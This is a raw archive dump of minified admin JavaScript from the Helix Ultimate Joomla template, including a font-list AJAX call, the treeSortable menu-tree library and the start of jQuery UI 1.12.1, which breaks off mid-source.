t.ajax({type:"POST",data:{action:"update-font-list",option:"com_ajax",helix:"ultimate",request:"task",data:{},format:"json"},beforeSend:function(){i.find("span").addClass("fa-spin")},success:function(e){var n=t.parseJSON(e);n.status?i.after(n.message):(i.after("<p class='font-update-failed'>Unexpected error occurs. Please make sure that, you have inserted Google Font API key.</p>"),i.find("span").removeClass("fa-spin"))},complete(e){200===e.status&&(i.find("span").removeClass("fa-spin"),i.next().delay(2e3).fadeOut(300,(function(){t(this).remove()})))}}),!1}))}));PK!��Y�rr-helixultimate/assets/js/admin/treeSortable.jsnu&1i�/**
 * Tree sortable jQuery library using jQuery UI sortable.
 *
 * @package TreeSortable
 * @license MIT
 * @author Sajeeb Ahamed
 */
var $=jQuery,treeSortable={options:{depth:20,treeSelector:"#hu-menu-tree",branchSelector:".hu-menu-tree-branch",dragHandlerSelector:".hu-branch-drag-handler",placeholderName:"hu-sortable-placeholder",childrenBusSelector:".hu-menu-children-bus",levelPrefix:"hu-branch-level",maxLevel:10},run(){this.jQuerySupplements(),this.initSorting()},getTreeEdge:()=>$(treeSortable.options.treeSelector).offset().left,pxToNumber:e=>new RegExp("px$","i").test(e)?1*e.slice(0,-2):0,numberToPx:e=>`${e}px`,jQuerySupplements(){const{options:e}=treeSortable,{levelPrefix:t}=e;$.fn.extend({getBranchLevel(){if(0===$(this).length)return 0;const{depth:t}=e,r=$(this).css("margin-left");return/(px)|(em)|(rem)$/i.test(r)?Math.floor(r.slice(0,-2)/t)+1:Math.floor(r/t)+1},updateBranchLevel(e,r=null){return this.each((function(){r=r||$(this).getBranchLevel()||1,$(this).removeClass(t+"-"+r).addClass(t+"-"+e)}))},shiftBranchLevel(e){return this.each((function(){let r=$(this).getBranchLevel()||1,l=r+e;$(this).removeClass(t+"-"+r).addClass(t+"-"+l)}))},getParent(){const{options:{branchSelector:e}}=treeSortable,t=$(this).getBranchLevel()||1;let r=$(this).prev(e);for(;r.length&&r.getBranchLevel()>=t;)r=r.prev(e);return r},getRootChildren(){const{options:{branchSelector:e,treeSelector:t,levelPrefix:r}}=treeSortable;return $(t).children(`${e}.${r}-1`)},getChildren(){const{options:{branchSelector:e}}=treeSortable;let t=$();return this.each((function(){let r=$(this).getBranchLevel()||1,l=$(this).next(e);for(;l.length&&l.getBranchLevel()>r;)t=t.add(l),l=l.next(e)})),t},nextBranch(){return $(this).next()},prevBranch(){return $(this).prev()},nextSibling(){const{options:{branchSelector:e}}=treeSortable;let t=$(this).getBranchLevel()||1,r=$(this).next(e),l=r.getBranchLevel();for(;r.length&&l>t;)r=r.next(e),l=r.getBranchLevel();return+l==+t?r:$()},prevSibling(){const{options:{branchSelector:e}}=treeSortable;let t=$(this).getBranchLevel()||1,r=$(this).prev(e),l=r.getBranchLevel();for(;r.length&&l>t;)r=r.prev(e),l=r.getBranchLevel();return l===t?r:$()},getSiblings(e=null){const{options:{treeSelector:t,branchSelector:r}}=treeSortable;e=e||$(this).getBranchLevel();let l=[],a=$(`${t} > ${r}`),h=this;return a.length&&a.each((function(){+$(this).getBranchLevel()==+e&&h[0]!==$(this)[0]&&l.push($(this))})),l}})},updateBranchZIndex(){const{options:{treeSelector:e,branchSelector:t}}=treeSortable,r=$(`${e} > ${t}`),l=r.length;r.length&&r.each((function(e){$(this).css("z-index",Math.max(1,l-e))}))},initSorting(){const{options:e,pxToNumber:t,numberToPx:r,updateBranchZIndex:l}=treeSortable,{treeSelector:a,dragHandlerSelector:h,placeholderName:n,childrenBusSelector:o}=e;let c=1,i=1,s=null,p=0,g=0,d=!1;$(a).sortable({handle:h,placeholder:n,items:"> *",start(e,l){const a=l.item.getBranchLevel();l.placeholder.updateBranchLevel(a),g=l.item.index(),i=a,s=l.item.find(o),s.append(l.item.next().getChildren());let n=s.outerHeight(),d=l.placeholder.css("margin-top");n+=n>0?t(d):0,n+=l.helper.outerHeight(),p=n,n-=2;let u=l.helper.find(h).outerWidth()-2;l.placeholder.css({height:n,width:u});const v=l.placeholder.nextBranch();v.css("margin-top",r(p)),l.placeholder.detach(),$(this).sortable("refresh"),l.item.after(l.placeholder),v.css("margin-top",0),c=a,$(".hu-menu-tree-branch .hu-menu-branch-path").hide()},sort(e,t){const{options:r,getTreeEdge:l}=treeSortable,{depth:a,maxLevel:h}=r;let n=l(),o=t.helper.offset().left,i=1,s=h,g=t.placeholder.prevBranch();g=g[0]===t.item[0]?g.prevBranch():g;let u=g.getBranchLevel();s=Math.min(u+1,h);let v=1;if(t.placeholder.nextSibling().length)v=t.placeholder.getBranchLevel()||1;else{v=t.placeholder.nextBranch().getBranchLevel()||1}i=Math.max(1,v);let m=Math.max(0,o-n),b=Math.floor(m/a)+1;if(b=Math.max(i,Math.min(b,s)),(e=>{let t=e.helper.offset().top+p,r=e.placeholder.nextBranch(),l=r.offset()||0,a=r.outerHeight();return t>l.top+a/3})(t)){let e=t.placeholder.nextBranch();e.getChildren().length&&(b=e.getBranchLevel()+1),e.after(t.placeholder),$(this).sortable("refreshPositions")}let f=t.item.getSiblings(b);if(f.length>0){let e=t.item.data("alias");if(d=f.some((t=>t.data("alias")===e)),d)return}var B,x;B=t.placeholder,x=b,B.updateBranchLevel(x),c=x},change(e,t){let r=t.placeholder.prevBranch();r=r[0]===t.item[0]?r.prevBranch():r;let l=r.getBranchLevel()||1;if(r.length){t.placeholder.detach();let e=r.getChildren();e&&e.length&&(l+=1),t.placeholder.updateBranchLevel(l),r.after(t.placeholder)}},stop(e,t){$(".hu-menu-tree-branch:not(.hu-branch-level-1) .hu-menu-branch-path").show(),d&&Joomla.HelixToaster.error(`Can't set the same alias <strong>${t.item.data("alias")}</strong> in the same menu level!`,"Error");const r=s.children().insertAfter(t.item);s.empty(),t.item.updateBranchLevel(c),r.shiftBranchLevel(c-i);t.item.find(".hu-branch-tools-list-megamenu").html(c>1?'<svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor" class="bi bi-gear" viewBox="0 0 16 16"><path d="M8 4.754a3.246 3.246 0 1 0 0 6.492 3.246 3.246 0 0 0 0-6.492zM5.754 8a2.246 2.246 0 1 1 4.492 0 2.246 2.246 0 0 1-4.492 0z"></path><path d="M9.796 1.343c-.527-1.79-3.065-1.79-3.592 0l-.094.319a.873.873 0 0 1-1.255.52l-.292-.16c-1.64-.892-3.433.902-2.54 2.541l.159.292a.873.873 0 0 1-.52 1.255l-.319.094c-1.79.527-1.79 3.065 0 3.592l.319.094a.873.873 0 0 1 .52 1.255l-.16.292c-.892 1.64.901 3.434 2.541 2.54l.292-.159a.873.873 0 0 1 1.255.52l.094.319c.527 1.79 3.065 1.79 3.592 0l.094-.319a.873.873 0 0 1 1.255-.52l.292.16c1.64.893 3.434-.902 2.54-2.541l-.159-.292a.873.873 0 0 1 .52-1.255l.319-.094c1.79-.527 1.79-3.065 0-3.592l-.319-.094a.873.873 0 0 1-.52-1.255l.16-.292c.893-1.64-.902-3.433-2.541-2.54l-.292.159a.873.873 0 0 1-1.255-.52l-.094-.319zm-2.633.283c.246-.835 1.428-.835 1.674 0l.094.319a1.873 1.873 0 0 0 2.693 1.115l.291-.16c.764-.415 1.6.42 1.184 1.185l-.159.292a1.873 1.873 0 0 0 1.116 2.692l.318.094c.835.246.835 1.428 0 1.674l-.319.094a1.873 1.873 0 0 0-1.115 2.693l.16.291c.415.764-.42 1.6-1.185 1.184l-.291-.159a1.873 1.873 0 0 0-2.693 1.116l-.094.318c-.246.835-1.428.835-1.674 0l-.094-.319a1.873 1.873 0 0 0-2.692-1.115l-.292.16c-.764.415-1.6-.42-1.184-1.185l.159-.291A1.873 1.873 0 0 0 1.945 8.93l-.319-.094c-.835-.246-.835-1.428 0-1.674l.319-.094A1.873 1.873 0 0 0 3.06 4.377l-.16-.292c-.415-.764.42-1.6 1.185-1.184l.292.159a1.873 1.873 0 0 0 2.692-1.115l.094-.319z"></path></svg>':'<svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor" class="bi bi-grid-1x2" viewBox="0 0 16 16"><path d="M6 1H1v14h5V1zm9 0h-5v5h5V1zm0 9v5h-5v-5h5zM0 1a1 1 0 0 1 1-1h5a1 1 0 0 1 1 1v14a1 1 0 0 1-1 1H1a1 1 0 0 1-1-1V1zm9 0a1 1 0 0 1 1-1h5a1 1 0 0 1 1 1v5a1 1 0 0 1-1 1h-5a1 1 0 0 1-1-1V1zm1 8a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h5a1 1 0 0 0 1-1v-5a1 1 0 0 0-1-1h-5z"></path></svg>'),c===i&&g===t.item.index()||$(document).trigger("sortCompleted",[t]),Joomla.utils.calculateSiblingDistances()}})}};Joomla.sortable=treeSortable;PK!=#�I����.helixultimate/assets/js/admin/jquery-ui.min.jsnu&1i�/*! jQuery UI - v1.12.1 - 2016-09-14
* http://jqueryui.com
* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

(function(t){"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){function e(t){for(var e=t.css("visibility");"inherit"===e;)t=t.parent(),e=t.css("visibility");return"hidden"!==e}function i(t){for(var e,i;t.length&&t[0]!==document;){if(e=t.css("position"),("absolute"===e||"relative"===e||"fixed"===e)&&(i=parseInt(t.css("zIndex"),10),!isNaN(i)&&0!==i))return i;t=t.parent()}return 0}function s(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},t.extend(this._defaults,this.regional[""]),this.regional.en=t.extend(!0,{},this.regional[""]),this.regional["en-US"]=t.extend(!0,{},this.regional.en),this.dpDiv=n(t("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function n(e){var i="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return e.on("mouseout",i,function(){t(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&t(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&t(this).removeClass("ui-datepicker-next-hover")}).on("mouseover",i,o)}function o(){t.datepicker._isDisabledDatepicker(m.inline?m.dpDiv.parent()[0]:m.input[0])||(t(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),t(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&t(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&t(this).addClass("ui-datepicker-next-hover"))}function a(e,i){t.extend(e,i);for(var s in i)null==i[s]&&(e[s]=i[s]);return e}function r(t){return function(){var e=this.element.val();t.apply(this,arguments),this._refresh(),e!==this.element.val()&&this._trigger("change")}}t.ui=t.ui||{},t.ui.version="1.12.1";var h=0,l=Array.prototype.slice;t.cleanData=function(e){return function(i){var s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var n,o,a,r={},h=e.split(".")[0];e=e.split(".")[1];var l=h+"-"+e;return s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][l.toLowerCase()]=function(e){return!!t.data(e,l)},t[h]=t[h]||{},n=t[h][e],o=t[h][e]=function(t,e){return this._createWidget?(arguments.length&&this._createWidget(t,e),void 0):new o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return t.isFunction(s)?(r[e]=function(){function t(){return i.prototype[e].apply(this,arguments)}function n(t){return i.prototype[e].apply(this,t)}return function(){var e,i=this._super,o=this._superApply;return this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void 0):(r[e]=s,void 0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:h,widgetName:e,widgetFullName:l}),n?(t.each(n._childConstructors,function(e,i){var s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var i,s,n=l.call(arguments,1),o=0,a=n.length;a>o;o++)for(i in n[o])s=n[o][i],n[o].hasOwnProperty(i)&&void 0!==s&&(e[i]=t.isPlainObject(s)?t.isPlainObject(e[i])?t.widget.extend({},e[i],s):t.widget.extend({},s):s);return e},t.widget.bridge=function(e,i){var s=i.prototype.widgetFullName||e;t.fn[e]=function(n){var o="string"==typeof n,a=l.call(arguments,1),r=this;return o?this.length||"instance"!==n?this.each(function(){var i,o=t.data(this,s);return"instance"===n?(r=o,!1):o?t.isFunction(o[n])&&"_"!==n.charAt(0)?(i=o[n].apply(o,a),i!==o&&void 0!==i?(r=i&&i.jquery?r.pushStack(i.get()):i,!1):void 0):t.error("no such method '"+n+"' for "+e+" widget instance"):t.error("cannot call methods on "+e+" prior to initialization; "+"attempted to call method '"+n+"'")}):r=void 0:(a.length&&(n=t.widget.extend.apply(null,[n].concat(a))),this.each(function(){var e=t.data(this,s);e?(e.option(n||{}),e._init&&e._init()):t.data(this,s,new i(n,this))})),r}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(e,i){i=t(i||this.defaultElement||this)[0],this.element=t(i),this.uuid=h++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},i!==this&&(t.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===i&&this.destroy()}}),this.document=t(i.style?i.ownerDocument:i.document||i),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),e),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return this.element},option:function(e,i){var s,n,o,a=e;if(0===arguments.length)return t.widget.extend({},this.options);if("string"==typeof e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void 0===this.options[e]?null:this.options[e];a[e]=i}return this._setOptions(a),this},_setOptions:function(t){var e;for(e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var i,s,n;for(i in e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var s=[],n=this;return e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join(" ")},_untrackClassesElement:function(e){var i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof s?s:i;var n="string"==typeof t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var n,o=this;"boolean"!=typeof e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function r(){return e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+o.eventNamespace,c=h[2];c?n.on(l,c,r):i.on(l,r)})},_off:function(e,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var s=this;return setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n in o)n in i||(i[n]=o[n]);return this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof n?i:n.effect||i:e;n=n||{},"number"==typeof n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,function(){function e(t,e,i){return[parseFloat(t[0])*(u.test(t[0])?e/100:1),parseFloat(t[1])*(u.test(t[1])?i/100:1)]}function i(e,i){return parseInt(t.css(e,i),10)||0}function s(e){var i=e[0];return 9===i.nodeType?{width:e.width(),height:e.height(),offset:{top:0,left:0}}:t.isWindow(i)?{width:e.width(),height:e.height(),offset:{top:e.scrollTop(),left:e.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:e.outerWidth(),height:e.outerHeight(),offset:e.offset()}}var n,o=Math.max,a=Math.abs,r=/left|center|right/,h=/top|center|bottom/,l=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,u=/%$/,d=t.fn.position;t.position={scrollbarWidth:function(){if(void 0!==n)return n;var e,i,s=t("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),o=s.children()[0];return t("body").append(s),e=o.offsetWidth,s.css("overflow","scroll"),i=o.offsetWidth,e===i&&(i=s[0].clientWidth),s.remove(),n=e-i},getScrollInfo:function(e){var i=e.isWindow||e.isDocument?"":e.element.css("overflow-x"),s=e.isWindow||e.isDocument?"":e.element.css("overflow-y"),n="scroll"===i||"auto"===i&&e.width<e.element[0].scrollWidth,o="scroll"===s||"auto"===s&&e.height<e.element[0].scrollHeight;return{width:o?t.position.scrollbarWidth():0,height:n?t.position.scrollbarWidth():0}},getWithinInfo:function(e){var i=t(e||window),s=t.isWindow(i[0]),n=!!i[0]&&9===i[0].nodeType,o=!s&&!n;return{element:i,isWindow:s,isDocument:n,offset:o?t(e).offset():{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:i.outerWidth(),height:i.outerHeight()}}},t.fn.position=function(n){if(!n||!n.of)return d.apply(this,arguments);n=t.extend({},n);var u,p,f,g,m,_,v=t(n.of),b=t.position.getWithinInfo(n.within),y=t.position.getScrollInfo(b),w=(n.collision||"flip").split(" "),k={};return _=s(v),v[0].preventDefault&&(n.at="left top"),p=_.width,f=_.height,g=_.offset,m=t.extend({},g),t.each(["my","at"],function(){var t,e,i=(n[this]||"").split(" ");1===i.length&&(i=r.test(i[0])?i.concat(["center"]):h.test(i[0])?["center"].concat(i):["center","center"]),i[0]=r.test(i[0])?i[0]:"center",i[1]=h.test(i[1])?i[1]:"center",t=l.exec(i[0]),e=l.exec(i[1]),k[this]=[t?t[0]:0,e?e[0]:0],n[this]=[c.exec(i[0])[0],c.exec(i[1])[0]]}),1===w.length&&(w[1]=w[0]),"right"===n.at[0]?m.left+=p:"center"===n.at[0]&&(m.left+=p/2),"bottom"===n.at[1]?m.top+=f:"center"===n.at[1]&&(m.top+=f/2),u=e(k.at,p,f),m.left+=u[0],m.top+=u[1],this.each(function(){var s,r,h=t(this),l=h.outerWidth(),c=h.outerHeight(),d=i(this,"marginLeft"),_=i(this,"marginTop"),x=l+d+i(this,"marginRight")+y.width,C=c+_+i(this,"marginBottom")+y.height,D=t.extend({},m),I=e(k.my,h.outerWidth(),h.outerHeight());"right"===n.my[0]?D.left-=l:"center"===n.my[0]&&(D.left-=l/2),"bottom"===n.my[1]?D.top-=c:"center"===n.my[1]&&(D.top-=c/2),D.left+=I[0],D.top+=I[1],s={marginLeft:d,marginTop:_},t.each(["left","top"],function(e,i){t.ui.position[w[e]]&&t.ui.position[w[e]][i](D,{targetWidth:p,targetHeight:f,elemWidth:l,elemHeight:c,collisionPosition:s,collisionWidth:x,collisionHeight:C,offset:[u[0]+I[0],u[1]+I[1]],my:n.my,at:n.at,within:b,elem:h})}),n.using&&(r=function(t){var e=g.left-D.left,i=e+p-l,s=g.top-D.top,r=s+f-c,u={target:{element:v,left:g.left,top:g.top,width:p,height:f},element:{element:h,left:D.left,top:D.top,width:l,height:c},horizontal:0>i?"left":e>0?"right":"center",vertical:0>r?"top":s>0?"bottom":"middle"};l>p&&p>a(e+i)&&(u.horizontal="center"),c>f&&f>a(s+r)&&(u.vertical="middle"),u.important=o(a(e),a(i))>o(a(s),a(r))?"horizontal":"vertical",n.using.call(this,t,u)}),h.offset(t.extend(D,{using:r}))})},t.ui.position={fit:{left:function(t,e){var i,s=e.within,n=s.isWindow?s.scrollLeft:s.offset.left,a=s.width,r=t.left-e.collisionPosition.marginLeft,h=n-r,l=r+e.collisionWidth-a-n;e.collisionWidth>a?h>0&&0>=l?(i=t.left+h+e.collisionWidth-a-n,t.left+=h-i):t.left=l>0&&0>=h?n:h>l?n+a-e.collisionWidth:n:h>0?t.left+=h:l>0?t.left-=l:t.left=o(t.left-r,t.left)},top:function(t,e){var i,s=e.within,n=s.isWindow?s.scrollTop:s.offset.top,a=e.within.height,r=t.top-e.collisionPosition.marginTop,h=n-r,l=r+e.collisionHeight-a-n;e.collisionHeight>a?h>0&&0>=l?(i=t.top+h+e.collisionHeight-a-n,t.top+=h-i):t.top=l>0&&0>=h?n:h>l?n+a-e.collisionHeight:n:h>0?t.top+=h:l>0?t.top-=l:t.top=o(t.top-r,t.top)}},flip:{left:function(t,e){var i,s,n=e.within,o=n.offset.left+n.scrollLeft,r=n.width,h=n.isWindow?n.scrollLeft:n.offset.left,l=t.left-e.collisionPosition.marginLeft,c=l-h,u=l+e.collisionWidth-r-h,d="left"===e.my[0]?-e.elemWidth:"right"===e.my[0]?e.elemWidth:0,p="left"===e.at[0]?e.targetWidth:"right"===e.at[0]?-e.targetWidth:0,f=-2*e.offset[0];0>c?(i=t.left+d+p+f+e.collisionWidth-r-o,(0>i||a(c)>i)&&(t.left+=d+p+f)):u>0&&(s=t.left-e.collisionPosition.marginLeft+d+p+f-h,(s>0||u>a(s))&&(t.left+=d+p+f))},top:function(t,e){var i,s,n=e.within,o=n.offset.top+n.scrollTop,r=n.height,h=n.isWindow?n.scrollTop:n.offset.top,l=t.top-e.collisionPosition.marginTop,c=l-h,u=l+e.collisionHeight-r-h,d="top"===e.my[1],p=d?-e.elemHeight:"bottom"===e.my[1]?e.elemHeight:0,f="top"===e.at[1]?e.targetHeight:"bottom"===e.at[1]?-e.targetHeight:0,g=-2*e.offset[1];0>c?(s=t.top+p+f+g+e.collisionHeight-r-o,(0>s||a(c)>s)&&(t.top+=p+f+g)):u>0&&(i=t.top-e.collisionPosition.marginTop+p+f+g-h,(i>0||u>a(i))&&(t.top+=p+f+g))}},flipfit:{left:function(){t.ui.position.flip.left.apply(this,arguments),t.ui.position.fit.left.apply(this,arguments)},top:function(){t.ui.position.flip.top.apply(this,arguments),t.ui.position.fit.top.apply(this,arguments)}}}}(),t.ui.position,t.extend(t.expr[":"],{data:t.expr.createPseudo?t.expr.createPseudo(function(e){return function(i){return!!t.data(i,e)}}):function(e,i,s){return!!t.data(e,s[3])}}),t.fn.extend({disableSelection:function(){var t="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.on(t+".ui-disableSelection",function(t){t.preventDefault()})}}(),enableSelection:function(){return this.off(".ui-disableSelection")}});var c="ui-effects-",u="ui-effects-style",d="ui-effects-animated",p=t;t.effects={effect:{}},function(t,e){function i(t,e,i){var s=u[e.type]||{};return null==t?i||!e.def?null:e.def:(t=s.floor?~~t:parseFloat(t),isNaN(t)?e.def:s.mod?(t+s.mod)%s.mod:0>t?0:t>s.max?s.max:t)}function s(i){var s=l(),n=s._rgba=[];return i=i.toLowerCase(),f(h,function(t,o){var a,r=o.re.exec(i),h=r&&o.parse(r),l=o.space||"rgba";return h?(a=s[l](h),s[c[l].cache]=a[c[l].cache],n=s._rgba=a._rgba,!1):e}),n.length?("0,0,0,0"===n.join()&&t.extend(n,o.transparent),s):o[i]}function n(t,e,i){return i=(i+1)%1,1>6*i?t+6*(e-t)*i:1>2*i?e:2>3*i?t+6*(e-t)*(2/3-i):t}var o,a="backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor 